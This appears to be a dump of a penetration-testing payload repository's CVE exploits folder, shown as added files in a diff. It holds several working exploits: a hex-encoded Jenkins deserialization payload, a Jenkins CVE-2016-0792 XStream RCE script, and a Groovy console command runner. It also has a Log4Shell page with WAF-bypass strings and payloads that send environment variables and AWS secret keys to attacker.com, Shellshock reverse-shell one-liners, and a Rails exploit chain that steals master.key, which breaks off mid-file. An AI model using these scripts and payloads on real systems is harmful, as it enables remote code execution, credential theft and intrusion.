x2f\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x3b\x77\x04\x00\x00\x00\x00\x78\x70\x73\x72\x00\x1e\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x6f\x6d\x6d\x61\x6e\x64\x24\x53\x6f\x75\x72\x63\x65\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x01\x4c\x00\x06\x74\x68\x69\x73\x24\x30\x74\x00\x19\x4c\x68\x75\x64\x73\x6f\x6e\x2f\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2f\x43\x6f\x6d\x6d\x61\x6e\x64\x3b\x77\x04\x00\x00\x00\x00\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\xd0\xfd\x1f\x3e\x1a\x3b\x1c\xc4\x02\x00\x00\x77\x04\xff\xff\xff\xfd\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\xd5\xc6\x35\x27\x39\x77\xb8\xcb\x03\x00\x04\x4c\x00\x05\x63\x61\x75\x73\x65\x74\x00\x15\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\x3b\x4c\x00\x0d\x64\x65\x74\x61\x69\x6c\x4d\x65\x73\x73\x61\x67\x65\x71\x00\x7e\x00\x02\x5b\x00\x0a\x73\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x74\x00\x1e\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x4c\x00\x14\x73\x75\x70\x70\x72\x65\x73\x73\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x73\x74\x00\x10\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4c\x69\x73\x74\x3b\x77\x04\xff\xff\xff\xfd\x78\x70\x71\x00\x7e\x00\x10\x70\x75\x72\x00\x1e\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x02\x46\x2a\x3c\x3c\xfd\x22\x39\x02\x00\x00\x77\x04\xff\xff\xff\xfd\x78\x70\x00\x00\x00\x0b\x73\x72\x00\x1b\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x61\x09\xc5\x9a\x26\x36\xdd\x85\x02\x00\x04\x49\x00\x0a\x6c\x69\x6e\x65\x4e\x75\x6d\x62\x65\x72\x4c\x00\x0e\x64\x65\x63\x6c\x61\x72\x69\x6e\x67\x43\x6c\x61\x73\x73\x71\x00\x7e\x00\x02\x4c\x00\x08\x66\x69\x6c\x65\x4e\x61\x6d\x65\x71\x00\x7e\x00\x02\x4c\x00\x0a\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x71\x00\x7e\x00\x02\x77\x04\xff\xff\xff\xfd\x78\x70\x00\x00\x00\x43\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x6f\x6d\x6d\x61\x6e\x64\x74\x00\x0c\x43\x6f\x6d\x6d\x61\x6e\x64\x2e\x6a\x61\x76\x61\x74\x00\x06\x3c\x69\x6e\x69\x74\x3e\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x32\x71\x00\x7e\x00\x15\x71\x00\x7e\x00\x16\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x63\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x71\x75\x65\x73\x74\x74\x00\x0c\x52\x65\x71\x75\x65\x73\x74\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x02\x39\x74\x00\x32\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x24\x52\x50\x43\x52\x65\x71\x75\x65\x73\x74\x74\x00\x1c\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\xf6\x74\x00\x27\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x71\x00\x7e\x00\x1e\x74\x00\x06\x69\x6e\x76\x6f\x6b\x65\x73\x71\x00\x7e\x00\x13\xff\xff\xff\xff\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x24\x50\x72\x6f\x78\x79\x31\x70\x74\x00\x0f\x77\x61\x69\x74\x46\x6f\x72\x50\x72\x6f\x70\x65\x72\x74\x79\x73\x71\x00\x7e\x00\x13\x00\x00\x04\xe7\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x68\x61\x6e\x6e\x65\x6c\x74\x00\x0c\x43\x68\x61\x6e\x6e\x65\x6c\x2e\x6a\x61\x76\x61\x74\x00\x15\x77\x61\x69\x74\x46\x6f\x72\x52\x65\x6d\x6f\x74\x65\x50\x72\x6f\x70\x65\x72\x74\x79\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x93\x74\x00\x0e\x68\x75\x64\x73\x6f\x6e\x2e\x63\x6c\x69\x2e\x43\x4c\x49\x74\x00\x08\x43\x4c\x49\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x48\x74\x00\x1f\x68\x75\x64\x73\x6f\x6e\x2e\x63\x6c\x69\x2e\x43\x4c\x49\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x46\x61\x63\x74\x6f\x72\x79\x74\x00\x19\x43\x4c\x49\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x46\x61\x63\x74\x6f\x72\x79\x2e\x6a\x61\x76\x61\x74\x00\x07\x63\x6f\x6e\x6e\x65\x63\x74\x73\x71\x00\x7e\x00\x13\x00\x00\x01\xdf\x71\x00\x7e\x00\x2a\x71\x00\x7e\x00\x2b\x74\x00\x05\x5f\x6d\x61\x69\x6e\x73\x71\x00\x7e\x00\x13\x00\x00\x01\x86\x71\x00\x7e\x00\x2a\x71\x00\x7e\x00\x2b\x74\x00\x04\x6d\x61\x69\x6e\x73\x72\x00\x26\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x4c\x69\x73\x74\xfc\x0f\x25\x31\xb5\xec\x8e\x10\x02\x00\x01\x4c\x00\x04\x6c\x69\x73\x74\x71\x00\x7e\x00\x0f\x77\x04\xff\xff\xff\xfd\x78\x72\x00\x2c\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x19\x42\x00\x80\xcb\x5e\xf7\x1e\x02\x00\x01\x4c\x00\x01\x63\x74\x00\x16\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x3b\x77\x04\xff\xff\xff\xfd\x78\x70\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x41\x72\x72\x61\x79\x4c\x69\x73\x74\x78\x81\xd2\x1d\x99\xc7\x61\x9d\x03\x00\x01\x49\x00\x04\x73\x69\x7a\x65\x77\x04\xff\xff\xff\xfd\x78\x70\x00\x00\x00\x00\x77\x04\x00\x00\x00\x00\x78\x71\x00\x7e\x00\x39\x78\x71\x00\x7e\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x70\x00\x00\x00\x01\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10\x73\x29\x6c\x02\x00\x00\x77\x04\xff\xff\xff\xfd\x78\x70\x00\x00\x00\x01\x74\x00\x18\x68\x75\x64\x73\x6f\x6e\x2e\x63\x6c\x69\x2e\x43\x6c\x69\x45\x6e\x74\x72\x79\x50\x6f\x69\x6e\x74\x71\x00\x7e\x00\x24\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x77\x04\xff\xff\xff\xfd\x78\x70\x00\x00\x00\x01\x74\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x74\x00\x1d\x52\x50\x43\x52\x65\x71\x75\x65\x73\x74\x28\x31\x2c\x77\x61\x69\x74\x46\x6f\x72\x50\x72\x6f\x70\x65\x72\x74\x79\x29'
86
+
87
+ sock.send(payload)
88
+ print('[+] Sent payload')
payloads/CVE Exploits/Jenkins CVE-2016-0792.py ADDED
@@ -0,0 +1,84 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #! /usr/bin/env python2
2
+
3
+ #Jenkins Groovy XML RCE (CVE-2016-0792)
4
+ #Note: Although this is listed as a pre-auth RCE, during my testing it only worked if authentication was disabled in Jenkins
5
+ #Made with <3 by @byt3bl33d3r
6
+
7
+ from __future__ import print_function
8
+ import requests
9
+ from requests.packages.urllib3.exceptions import InsecureRequestWarning
10
+ requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
11
+
12
+ import argparse
13
+ import sys
14
+
15
+ parser = argparse.ArgumentParser()
16
+ parser.add_argument('target', type=str, help='Target IP:PORT')
17
+ parser.add_argument('command', type=str, help='Command to run on target')
18
+ parser.add_argument('--proto', choices={'http', 'https'}, default='http', help='Send exploit over http or https (default: http)')
19
+
20
+ if len(sys.argv) < 2:
21
+ parser.print_help()
22
+ sys.exit(1)
23
+
24
+ args = parser.parse_args()
25
+
26
+ if len(args.target.split(':')) != 2:
27
+ print('[-] Target must be in format IP:PORT')
28
+ sys.exit(1)
29
+
30
+ if not args.command:
31
+ print('[-] You must specify a command to run')
32
+ sys.exit(1)
33
+
34
+ ip, port = args.target.split(':')
35
+
36
+ print('[*] Target IP: {}'.format(ip))
37
+ print('[*] Target PORT: {}'.format(port))
38
+
39
+ xml_formatted = ''
40
+ command_list = args.command.split()
41
+ for cmd in command_list:
42
+ xml_formatted += '{:>16}<string>{}</string>\n'.format('', cmd)
43
+
44
+ xml_payload = '''<map>
45
+ <entry>
46
+ <groovy.util.Expando>
47
+ <expandoProperties>
48
+ <entry>
49
+ <string>hashCode</string>
50
+ <org.codehaus.groovy.runtime.MethodClosure>
51
+ <delegate class="groovy.util.Expando" reference="../../../.."/>
52
+ <owner class="java.lang.ProcessBuilder">
53
+ <command>
54
+ {}
55
+ </command>
56
+ <redirectErrorStream>false</redirectErrorStream>
57
+ </owner>
58
+ <resolveStrategy>0</resolveStrategy>
59
+ <directive>0</directive>
60
+ <parameterTypes/>
61
+ <maximumNumberOfParameters>0</maximumNumberOfParameters>
62
+ <method>start</method>
63
+ </org.codehaus.groovy.runtime.MethodClosure>
64
+ </entry>
65
+ </expandoProperties>
66
+ </groovy.util.Expando>
67
+ <int>1</int>
68
+ </entry>
69
+ </map>'''.format(xml_formatted.strip())
70
+
71
+ print('[*] Generated XML payload:')
72
+ print(xml_payload)
73
+ print()
74
+
75
+ print('[*] Sending payload')
76
+ headers = {'Content-Type': 'text/xml'}
77
+ r = requests.post('{}://{}:{}/createItem?name=rand_dir'.format(args.proto, ip, port), verify=False, headers=headers, data=xml_payload)
78
+
79
+ paths_in_trace = ['jobs/rand_dir/config.xml', 'jobs\\rand_dir\\config.xml']
80
+ if r.status_code == 500:
81
+ for path in paths_in_trace:
82
+ if path in r.text:
83
+ print('[+] Command executed successfully')
84
+ break
payloads/CVE Exploits/Jenkins Groovy Console.py ADDED
@@ -0,0 +1,32 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python
2
+ # SRC: https://raw.githubusercontent.com/bl4de/security-tools/master/jgc.py
3
+ # DOC: https://medium.com/@_bl4de/remote-code-execution-with-groovy-console-in-jenkins-bd6ef55c285b
4
+ from __future__ import print_function
5
+ from builtins import input
6
+ import requests
7
+ import sys
8
+
9
+ print("""
10
+ Jenkins Groovy Console cmd runner.
11
+
12
+ usage: ./jgc.py [HOST]
13
+
14
+ Then type any command and wait for STDOUT output from remote machine.
15
+ Type 'exit' to exit :)
16
+ """)
17
+ URL = sys.argv[1] + '/scriptText'
18
+ HEADERS = {
19
+ 'User-Agent': 'jgc'
20
+ }
21
+
22
+ while 1:
23
+ CMD = input(">> Enter command to execute (or type 'exit' to exit): ")
24
+ if CMD == 'exit':
25
+ print("exiting...\n")
26
+ exit(0)
27
+
28
+ DATA = {
29
+ 'script': 'println "{}".execute().text'.format(CMD)
30
+ }
31
+ result = requests.post(URL, headers=HEADERS, data=DATA)
32
+ print(result.text)
payloads/CVE Exploits/Log4Shell.md ADDED
@@ -0,0 +1,105 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # CVE-2021-44228 Log4Shell
2
+
3
+ > Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled
4
+
5
+ ## Summary
6
+
7
+ * [Vulnerable code](#vulnerable-code)
8
+ * [Payloads](#payloads)
9
+ * [Scanning](#scanning)
10
+ * [WAF Bypass](#waf-bypass)
11
+ * [Exploitation](#exploitation)
12
+ * [Environment variables exfiltration](#environment-variables-exfiltration)
13
+ * [Remote Command Execution](#remote-command-execution)
14
+ * [References](#references)
15
+
16
+ ## Vulnerable code
17
+
18
+ You can reproduce locally with: `docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app` using [christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) or [leonjza/log4jpwn](
19
+ https://github.com/leonjza/log4jpwn)
20
+ ```java
21
+ public String index(@RequestHeader("X-Api-Version") String apiVersion) {
22
+ logger.info("Received a request for API version " + apiVersion);
23
+ return "Hello, world!";
24
+ }
25
+ ```
26
+
27
+ ## Payloads
28
+
29
+ ```bash
30
+ # Identify Java version and hostname
31
+ ${jndi:ldap://${java:version}.domain/a}
32
+ ${jndi:ldap://${env:JAVA_VERSION}.domain/a}
33
+ ${jndi:ldap://${sys:java.version}.domain/a}
34
+ ${jndi:ldap://${sys:java.vendor}.domain/a}
35
+ ${jndi:ldap://${hostName}.domain/a}
36
+ ${jndi:dns://${hostName}.domain}
37
+
38
+ # More enumerations keywords and variables
39
+ java:os
40
+ docker:containerId
41
+ web:rootDir
42
+ bundle:config:db.password
43
+ ```
44
+
45
+ ## Scanning
46
+
47
+ * [log4j-scan](https://github.com/fullhunt/log4j-scan)
48
+ ```powershell
49
+ usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]
50
+ [--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]
51
+ python3 log4j-scan.py -u http://127.0.0.1:8081 --run-all-test
52
+ python3 log4j-scan.py -u http://127.0.0.1:808 --waf-bypass
53
+ ```
54
+ * [Nuclei Template](https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/cves/2021/CVE-2021-44228.yaml)
55
+
56
+
57
+ ## WAF Bypass
58
+
59
+ ```powershell
60
+ ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1389/a}
61
+
62
+ # using lower and upper
63
+ ${${lower:jndi}:${lower:rmi}://127.0.0.1:1389/poc}
64
+ ${j${loWer:Nd}i${uPper::}://127.0.0.1:1389/poc}
65
+ ${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}
66
+
67
+ # using env to create the letter
68
+ ${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
69
+ ${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}
70
+ ```
71
+
72
+ ## Exploitation
73
+
74
+ ### Environment variables exfiltration
75
+
76
+ ```powershell
77
+ ${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/
78
+
79
+ # AWS Access Key
80
+ ${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}
81
+ ```
82
+
83
+
84
+ ### Remote Command Execution
85
+
86
+ * [rogue-jndi - @artsploit](https://github.com/artsploit/rogue-jndi)
87
+ ```ps1
88
+ java -jar target/RogueJndi-1.1.jar --command "touch /tmp/toto" --hostname "192.168.1.21"
89
+ Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
90
+ Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
91
+ Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
92
+ Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
93
+ Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
94
+ Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
95
+ Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
96
+ Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
97
+ ```
98
+ * [JNDI-Exploit-Kit - @pimps](https://github.com/pimps/JNDI-Exploit-Kit)
99
+
100
+
101
+ ## References
102
+
103
+ * [Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package - December 12, 2021](https://www.lunasec.io/docs/blog/log4j-zero-day/)
104
+ * [Log4Shell Update: Second log4j Vulnerability Published (CVE-2021-44228 + CVE-2021-45046) - December 14, 2021](https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/)
105
+ * [PSA: Log4Shell and the current state of JNDI injection - December 10, 2021](https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/)
payloads/CVE Exploits/README.md ADDED
@@ -0,0 +1,92 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Common Vulnerabilities and Exposures
2
+
3
+ > A CVE (Common Vulnerabilities and Exposures) is a unique identifier assigned to a publicly known cybersecurity vulnerability. CVEs help standardize the naming and tracking of vulnerabilities, making it easier for organizations, security professionals, and software vendors to share information and manage risks associated with these vulnerabilities. Each CVE entry includes a brief description of the vulnerability, its potential impact, and details about affected software or systems.
4
+
5
+ ## Summary
6
+
7
+ * [Tools](#tools)
8
+ * [Big CVEs in the last 15 years](#big-cves-in-the-last-15-years)
9
+ * [CVE-2017-0144 - EternalBlue](#cve-2017-0144---eternalblue)
10
+ * [CVE-2017-5638 - Apache Struts 2](#cve-2017-5638---apache-struts-2)
11
+ * [CVE-2018-7600 - Drupalgeddon 2](#cve-2018-7600---drupalgeddon-2)
12
+ * [CVE-2019-0708 - BlueKeep](#cve-2019-0708---bluekeep)
13
+ * [CVE-2019-19781 - Citrix ADC Netscaler](#cve-2019-19781---citrix-adc-netscaler)
14
+ * [CVE-2014-0160 - Heartbleed](#cve-2014-0160---heartbleed)
15
+ * [CVE-2014-6271 - Shellshock](#cve-2014-6271---shellshock)
16
+ * [References](#references)
17
+
18
+
19
+ ## Tools
20
+
21
+ - [Trickest CVE Repository - Automated collection of CVEs and PoC's](https://github.com/trickest/cve)
22
+ - [Nuclei Templates - Community curated list of templates for the nuclei engine to find security vulnerabilities in applications](https://github.com/projectdiscovery/nuclei-templates)
23
+ - [Metasploit Framework](https://github.com/rapid7/metasploit-framework)
24
+ - [CVE Details - The ultimate security vulnerability datasource](https://www.cvedetails.com)
25
+
26
+
27
+ ## Big CVEs in the last 15 years
28
+
29
+ ### CVE-2017-0144 - EternalBlue
30
+
31
+ EternalBlue exploits a vulnerability in Microsoft's implementation of the Server Message Block (SMB) protocol. The vulnerability exists because the SMB version 1 (SMBv1) server in various versions of Microsoft Windows mishandles specially crafted packets from remote attackers, allowing them to execute arbitrary code on the target computer.
32
+
33
+ Afftected systems:
34
+ - Windows Vista SP2
35
+ - Windows Server 2008 SP2 and R2 SP1
36
+ - Windows 7 SP1
37
+ - Windows 8.1
38
+ - Windows Server 2012 Gold and R2
39
+ - Windows RT 8.1
40
+ - Windows 10 Gold, 1511, and 1607
41
+ - Windows Server 2016
42
+
43
+
44
+ ### CVE-2017-5638 - Apache Struts 2
45
+
46
+ On March 6th, a new remote code execution (RCE) vulnerability in Apache Struts 2 was made public. This recent vulnerability, CVE-2017-5638, allows a remote attacker to inject operating system commands into a web application through the “Content-Type” header.
47
+
48
+
49
+ ### CVE-2018-7600 - Drupalgeddon 2
50
+
51
+ A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being completely compromised.
52
+
53
+
54
+ ### CVE-2019-0708 - BlueKeep
55
+
56
+ A remote code execution vulnerability exists in Remote Desktop Services – formerly known as Terminal Services – when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests. This vulnerability is pre-authentication and requires no user interaction. An attacker who successfully exploited this vulnerability could execute arbitrary code on the target system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.
57
+
58
+
59
+ ### CVE-2019-19781 - Citrix ADC Netscaler
60
+
61
+ A remote code execution vulnerability in Citrix Application Delivery Controller (ADC) formerly known as NetScaler ADC and Citrix Gateway formerly known as NetScaler Gateway that, if exploited, could allow an unauthenticated attacker to perform arbitrary code execution.
62
+
63
+ Affected products:
64
+ - Citrix ADC and Citrix Gateway version 13.0 all supported builds
65
+ - Citrix ADC and NetScaler Gateway version 12.1 all supported builds
66
+ - Citrix ADC and NetScaler Gateway version 12.0 all supported builds
67
+ - Citrix ADC and NetScaler Gateway version 11.1 all supported builds
68
+ - Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds
69
+
70
+
71
+ ### CVE-2014-0160 - Heartbleed
72
+
73
+ The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM) and some virtual private networks (VPNs).
74
+
75
+
76
+ ### CVE-2014-6271 - Shellshock
77
+
78
+ Shellshock, also known as Bashdoor is a family of security bug in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.
79
+
80
+ ```powershell
81
+ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 10.0.0.2 4444 -e /bin/sh\r\n"
82
+ curl --silent -k -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.0.0.2/4444 0>&1" "https://10.0.0.1/cgi-bin/admin.cgi"
83
+ ```
84
+
85
+
86
+ ## References
87
+
88
+ * [Heartbleed - Official website](http://heartbleed.com)
89
+ * [Shellshock - Wikipedia](https://en.wikipedia.org/wiki/Shellshock_(software_bug))
90
+ * [Imperva Apache Struts analysis](https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/)
91
+ * [EternalBlue - Wikipedia](https://en.wikipedia.org/wiki/EternalBlue)
92
+ * [BlueKeep - Microsoft](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708)
payloads/CVE Exploits/Rails CVE-2019-5420.rb ADDED
@@ -0,0 +1,156 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ require 'erb'
2
+ require "./demo-5.2.1/config/environment"
3
+ require "base64"
4
+ require 'net/http'
5
+
6
+ $proxy_addr = '127.0.0.1'
7
+ $proxy_port = 8080
8
+
9
+ $remote = "http://172.18.0.3:3000"
10
+ $ressource = "/demo"
11
+
12
+ puts "\nRails exploit CVE-2019-5418 + CVE-2019-5420 = RCE\n\n"
13
+
14
+ print "[+] Checking if vulnerable to CVE-2019-5418 => "
15
+ uri = URI($remote + $ressource)
16
+ req = Net::HTTP::Get.new(uri)
17
+ req['Accept'] = "../../../../../../../../../../etc/passwd{{"
18
+ res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
19
+ http.request(req)
20
+ }
21
+ if res.body.include? "root:x:0:0:root:"
22
+ puts "\033[92mOK\033[0m"
23
+ else
24
+ puts "KO"
25
+ abort
26
+ end
27
+
28
+ print "[+] Getting file => credentials.yml.enc => "
29
+ path = "../../../../../../../../../../config/credentials.yml.enc{{"
30
+ for $i in 0..9
31
+ uri = URI($remote + $ressource)
32
+ req = Net::HTTP::Get.new(uri)
33
+ req['Accept'] = path[3..57]
34
+ res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
35
+ http.request(req)
36
+ }
37
+ if res.code == "200"
38
+ puts "\033[92mOK\033[0m"
39
+ File.open("credentials.yml.enc", 'w') { |file| file.write(res.body) }
40
+ break
41
+ end
42
+ path = path[3..57]
43
+ $i +=1;
44
+ end
45
+
46
+ print "[+] Getting file => master.key => "
47
+ path = "../../../../../../../../../../config/master.key{{"
48
+ for $i in 0..9
49
+ uri = URI($remote + $ressource)
50
+ req = Net::HTTP::Get.new(uri)
51
+ req['Accept'] = path[3..57]
52
+ res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
53
+ http.request(req)
54
+ }
55
+ if res.code == "200"
56
+ puts "\033[92mOK\033[0m"
57
+ File.open("master.key", 'w') { |file| file.write(res.body) }
58
+ break
59
+ end
60
+ path = path[3..57]
61
+ $i +=1;
62
+ end
63
+
64
+ print "[+] Decrypt secret_key_base => "
65
+ credentials_config_path = File.join("../", "credentials.yml.enc")
66
+ credentials_key_path = File.join("../", "master.key")
67
+ ENV["RAILS_MASTER_KEY"] = res.body
68
+ credentials = ActiveSupport::EncryptedConfiguration.new(
69
+ config_path: Rails.root.join(credentials_config_path),
70
+ key_path: Rails.root.join(credentials_key_path),
71
+ env_key: "RAILS_MASTER_KEY",
72
+ raise_if_missing_key: true
73
+ )
74
+ if credentials.secret_key_base != nil
75
+ puts "\033[92mOK\033[0m"
76
+ puts ""
77
+ puts "secret_key_base": credentials.secret_key_base
78
+ puts ""
79
+ end
80
+
81
